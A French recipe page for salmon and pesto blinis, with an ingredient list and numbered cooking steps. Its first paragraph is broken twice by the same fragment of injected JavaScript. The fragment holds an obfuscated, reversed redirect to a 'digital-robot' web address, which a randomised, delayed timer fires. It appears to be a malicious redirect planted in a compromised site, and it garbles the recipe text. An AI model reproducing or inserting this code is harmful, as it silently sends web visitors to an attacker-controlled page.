Blinis au saumon

2021-05-26

Dans un récipient mélangez la farine, la levure. Versez  peu à peu le lait tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tout en remuant. L’œuf, le pistobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tou, sel et poivre. Jusqu’à obtenir une pâte lisse et homogène.

Ingrédients

  • Pour 4 personnes
  • 150 g de farine
  • 1 paquet de levure chimique
  • 120 g de saumon fumé
  • 20 cl de crème fraîche épaisse
  • 12 cl de lait écrémé
  • 1 œuf entier
  • 2 cuillères à soupe de pistou
  • 1 cuillère à soupe de pignons grillés
  • Sel
  • Poivre du moulin

Préparation de la recette

Etape 1

Dans un récipient mélangez la farine, la levure.

Etape 2

Versez peu à peu le lait tout en remuant.

Etape 3

L’œuf, le pistou, sel et poivre.

Etape 4

Jusqu'à obtenir une pâte lisse et homogène.

Etape 5

Dans une poêle à blinis avec une noisette de beurre où 1 cuillère à soupe d'huile d'arachide.

Etape 6

Versez une petite louche de pâte.

Etape 7

Faites cuire sur feu moyen, jusqu'à la coloration des deux côtés.

Etape 8

Déposez les blinis sur assiette individuelle.

Etape 9

Nappez les blinis de crème.

Etape 10

Parsemez de pignons.

Etape 11

Et Dégustez

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